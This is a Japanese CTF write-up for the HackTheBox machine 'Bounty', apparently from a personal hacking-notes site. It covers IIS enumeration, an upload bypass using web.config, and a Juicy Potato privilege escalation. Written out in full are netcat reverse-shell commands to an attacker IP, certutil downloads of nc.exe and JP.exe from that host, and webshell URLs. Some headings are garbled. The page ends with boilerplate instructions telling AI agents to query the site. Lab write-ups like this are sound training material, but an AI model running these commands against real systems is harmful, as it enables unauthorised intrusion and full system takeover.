> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Bounty HackTheBox 攻略記事 {% embed url="" %} {% hint style="warning" %} **スキル:** * IIS の列挙とディレクトリのファズ * IIS `アップロードバイパス、SMBベースのリバースシェル、そしてJuicy Potatoによる権限昇格。` アップロードバイパスとウェブシェル実行 * SMB 経由の Windows リバースシェル * `SeImpersonatePrivilege` Juicy Potato による権限昇格 {% endhint %} ## 偵察マシン用のワークスペースを作成します。

の TTL は `128` は、対象が Windows マシンである可能性が高いことを示しています。

### ポートスキャン {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} ポート `80` が開いています。

Web サービスを詳細にスキャンします。 {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} スキャンで Microsoft IIS HTTPD 7.5 が検出されます。

ポート上のページは `80` 画像のみを表示します。

### ディレクトリ列挙 Web サーバーに対して、ファイルとディレクトリのファズを行います。 {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} スキャン結果: * transfer.aspx * `uploadedfiles`

`transfer.aspx` ファイルのアップロードを受け付けます。

ある `.aspx` コマンドシェルは、拡張子が許可されていないため拒否されます。 {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}

検索対象 `Windows IIS リバースシェル用のすべてのファイル拡張子`。HackTricks では、次のような関連する拡張子がいくつか説明されています。 `.asp`, `.aspx`, `.config`、および `.php`. {% embed url="" %}

その [IIS web.config アップロード回避](/ja/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) を介した実行を可能にします `.config` ファイル。 #### .config ファイルを実行する > アプリケーションが、提供されているディレクトリに .config ファイルのアップロードを許可する場合、IIS の web.config をコード実行に利用できることがあります。1つの手法として、ペイロードを HTML コメント内に追加します。例はこちらからダウンロードしてください。 > > この脆弱性を悪用するための詳細情報と手法はこちら\[2] 作成する `アップロードバイパス、SMBベースのリバースシェル、そしてJuicy Potatoによる権限昇格。` 以下の内容のファイル。 {% code overflow="wrap" %} ```bash ``` {% endcode %} その `.config` ファイルのアップロードに成功します。

次にアクセス: `/uploadedfiles/web.config` ウェブシェルにアクセスします。ファイルは数秒後に削除されます。

## 初期アクセスウェブシェルを使ってリバースシェルを取得します。実行可能な Netcat を現在のディレクトリに配置します: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` ファイルを共有するために SMB サーバーを起動します: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` 自分のマシンをポート 443 のリスナーとして設定します: ```bash sudo rlwrap nc -nvlp 443 ```

WebShell からリバースシェルコマンドを実行します: {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} リバースシェルへの接続に成功します。

user flag を取得します。

## 権限昇格現在のユーザーには `SeImpersonatePrivilege` 権限があります。 {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}

ダウンロード `JP.exe`. {% embed url="" %} Netcat と一緒にターゲットマシンへ転送します。 {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}

ポートでリスナーを起動する `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Juicy Potato を実行して `cmd.exe` として `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}

root flag を取得します。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.